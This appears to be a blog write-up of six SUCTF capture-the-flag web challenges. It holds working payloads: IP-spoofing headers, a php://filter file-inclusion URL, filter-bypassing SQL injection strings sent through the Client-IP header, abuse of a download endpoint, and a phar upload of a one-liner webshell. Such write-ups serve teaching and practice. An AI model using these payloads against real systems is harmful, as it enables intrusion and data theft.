suctf-部分web题WP

2019-04-03  本文已影响0人  ch3nie

title: suctf-部分web题WP
date: 2018-11-14 09:57:29
tags: [WP,ctf]


web1-where are you from level1

题目:where are you from?

打开网址我们可以看到只有ip为127.0.0.1才能拿到flag

only guest from 127.0.0.1 can get flag of level1 

我们可以伪造ip,伪造ip的方法有XFF,x-client-ip。。。。。

Client-Ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Host: 127.0.0.1
Referer: www.google.com
mark
SUCTF{X_F0rw4rd3d_F0r_7O_cHe4t_5eV3r}

web2-include me

题目:index!index!index!

看题目就可以知道这道题是文件包含include,我们用php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输,我们把index文件包含进来,然后得到base64加密后的源码

http://49.4.68.67:88/?lang=php://filter/read=convert.base64-encode/resource=index.php

把base64加密后的源码进行解密,从源码中得到flag

#base64加密后的数据

PD9waHANCmlmKGlzc2V0KCRfR0VUWyJsYW5nIl0pKXsgIA0KICAgICRsYW5nPSRfR0VUWyJsYW5nIl07ICANCn1lbHNleyAgDQogICAgJGxhbmc9ImNuLnBocCI7ICANCn0gIA0KPz4gDQo8Zm9ybT4gIA0KPHNlbGVjdCBzdHlsZT0id2lkdGg6NjBweDsiIG5hbWU9ImxhbmciPiAgDQo8b3B0aW9uIHZhbHVlPSJjbi5waHAiPD9waHAgZWNobyAkbGFuZz09ImNuLnBocCI/InNlbGVjdGVkIjoiIjs/Pj5DaGluZXNlPC9vcHRpb24+ICANCjxvcHRpb24gdmFsdWU9ImVuLnBocCI8P3BocCBlY2hvICRsYW5nPT0iZW4ucGhwIj8ic2VsZWN0ZWQiOiIiOz8+PkVuZ2xpc2g8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImtyLnBocCI8P3BocCBlY2hvICRsYW5nPT0ia3IucGhwIj8ic2VsZWN0ZWQiOiIiOz8+Pg0KS29yZWFuPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJqcC5waHAiPD9waHAgZWNobyAkbGFuZz09ImpwLnBocCI/InNlbGVjdGVkIjoiIjs/Pj5KYXBhbmVzZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iZGUucGhwIjw/cGhwIGVjaG8gJGxhbmc9PSJkZS5waHAiPyJzZWxlY3RlZCI6IiI7Pz4+R2VybWFuPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJmci5waHAiPD9waHAgZWNobyAkbGFuZz09ImZyLnBocCI/InNlbGVjdGVkIjoiIjs/Pj5GcmVuY2g8L29wdGlvbj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJjaGFuZ2UgbGFuZ3VhZ2UiPiAgDQo8L2Zvcm0+IA0KPD9waHANCiRmbGFnPSJTVUNURntoYV9oYV9oYV95b3Vfd2lufSI7DQoJaW5jbHVkZSAkbGFuZzsNCj8+DQoNCg== 

#base64解密后的数据
<?php
if(isset($_GET["lang"])){  
    $lang=$_GET["lang"];  
}else{  
    $lang="cn.php";  
}  
?> 
<form>  
<select style="width:60px;" name="lang">  
<option value="cn.php"<?php echo $lang=="cn.php"?"selected":"";?>>Chinese</option>  
<option value="en.php"<?php echo $lang=="en.php"?"selected":"";?>>English</option>
<option value="kr.php"<?php echo $lang=="kr.php"?"selected":"";?>>
Korean</option>
<option value="jp.php"<?php echo $lang=="jp.php"?"selected":"";?>>Japanese</option>
<option value="de.php"<?php echo $lang=="de.php"?"selected":"";?>>German</option>
<option value="fr.php"<?php echo $lang=="fr.php"?"selected":"";?>>French</option>
<input type="submit" value="change language">  
</form> 
<?php
$flag="SUCTF{ha_ha_ha_you_win}";
    include $lang;
?>


mark

web3-where are you from level2

题目:where are you from? this is level2,try to find vul.

这个题还是先构造了client-ip之后发现只有leave1的flag,但是我们拿到了源码

mark

我们分析一下该题的源码

 <?php
function getIp(){
    if(!empty($_SERVER['HTTP_CLIENT_IP'])){
        $cip=$_SERVER['HTTP_CLIENT_IP'];
    }
    elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
        $cip=$_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif(!empty($_SERVER['REMOTE_ADDR'])){
        $cip=$_SERVER['REMOTE_ADDR'];
    }
    else{
        $cip='';
    }
    $cip=preg_replace('/\s|select|from|limit|union|join/iU','',$cip);
    return $cip;
}
 $query=$mysqli->query("insert into ip_records(ip,time) values ('$ip','$time')"); 

client-ip注入,而且是加了过滤的注入,过滤是直接把关键字给替换成空,而且也没有循环匹配,所以我们可以用双写来绕过过滤。

client-ip: 127.0.0.1',database())#

我们得到了数据库的名字是demo2

mark

然后拿到表名flaaag,ip_records

client-ip: 127.0.0.1',(selselectect/**/group_concat(table_name)/**/frfromom/**/information_schema.tables/**/where/**/table_schema='demo2'))#

然后现在注出来字段名id,fl4g

client-ip: 127.0.0.1',(selselectect/**/group_concat(column_name)/**/frfromom/**/information_schema.columns/**/where/**/table_name='flaaag'))#

然后,嗯,就可以拿到flag了

client-ip: 127.0.0.1',(selselectect/**/fl4g/**/frfromom/**/flaaag))#

[图片上传失败...(image-8309b5-1554278148166)]

web4-onepiece

题目:onepiece是真实存在的

进去之后只有一个界面,用了phpstorm,robots.txt没有

phpstorm,我用了phpstorm

试了一下发现存在文件泄露.idea目录泄露

mark

在workspace.xml文档里发现该网站有/index.php /UpL0ad.php还有/README.html

mark

看到/UpL0ad.php首先想到是文件上传的题,但是上传了一个文件试了试并没有什么用,然后看看README.html里面是一张图片,而且一个提示,有一个onepiece.zip的压缩包

mark

发现一个压缩包,这个题的名字也是onepiece,把压缩包载下来里面是一个php文件,源码是加过密的,同学昨天花钱解的密,我就没有解,源码如下

<?php

error_reporting(0)
header("Content-Type: text/html;charset=utf-8")
$flag = "**********";
if(isset($_POST['file']))
{
    $filename = $_POST['file'];
    echo $$filename;
}
?>

文件上传界面上传的参数就是file,传过去的存入变量filename,源码中我们知道只要让$$filename=flag,就可以输出flag,也就是filename=flag,也就是直接传入flag,flag存入$filename,就可以拿到flag

mark

web5-yunpan

题目:heiheihei,how to hack this yunpan?

昨天跑了一遍目录就去看电影了,回来接着做

mark
#/readme.txt
嘤嘤嘤,我怎么可能直白的把flag.php上传到云盘呢,这下看你怎么拿到flag.php,嘤嘤嘤

# /flag.php
厉害啊,你竟然能找到这里,然而flag在哪里呢,hiahiahia!

#/download.php
Access Forbidden!
小明:你这个大黑阔!就会欺负人,嘤嘤嘤QAQ

但是就没有其他发现了,后来看源码的时候突然注意到我是不是可以直接下载flag.php呢

mark

然后我构造了下面这个下载链接,果然,把flag.php载下来了,而且flag就在里面

http://49.4.68.67:90/download.php?file=ZmxhZy5waHA=
mark mark

web6-gallery

题目:A Simple Gallery. Be careful about tips!

随便上传一个文件抓包发现cookie里有个hint

hint=cGxlYXNlIHJlYWQgcmVjZW50IHBhcGVycyBhYm91dCBwaGFy

#base64解码得到
please read recent papers about phar

既然是phar那可能是远程文件包含了,可是我没有办法知道上传文件的路径,然后扫了一遍目录发现有两个可以正常访问的路径

[11:14:28] 200 -    2KB - /index.php
[11:14:28] 200 -    2KB - /index.php/login/
mark

然后我在/index.php/login/页面看了一下,发现在这个页面上传文件之后可以查看图像,从而知道路径,如下

http://49.4.68.67:86/?act=get&pic=/var/www/html/sandbox/b1fde77fa365ca152d1639208fc19d3c/4a47a0db6e60853dedfcfdf08a5ca249.png

然后发现查看图像这里还可以利用SSRF把index.php源码载下来了

http://49.4.68.67:86/?act=get&pic=/var/www/html/index.php

这里上传图片文件,而且提示我们可以用phar协议(当然zip伪协议,php协议等在做这类题时也是常用的)。然后我们现在写一个php的马,然后压缩成zip,在改为.png的后缀,上传之后访问该图片,利用phar协议包含一句话木马,这里。。。直接访问马就出现了加密过的flag,然后解密

mark

最后flag为

SUCTF{phar_s3rial1ze_f4nt4s71C}

就前面两天看了看题,后面就在忙其他的,有些做题记录没有存,而且后面的题就没看,所以只写了这部分

上一篇 下一篇

猜你喜欢

热点阅读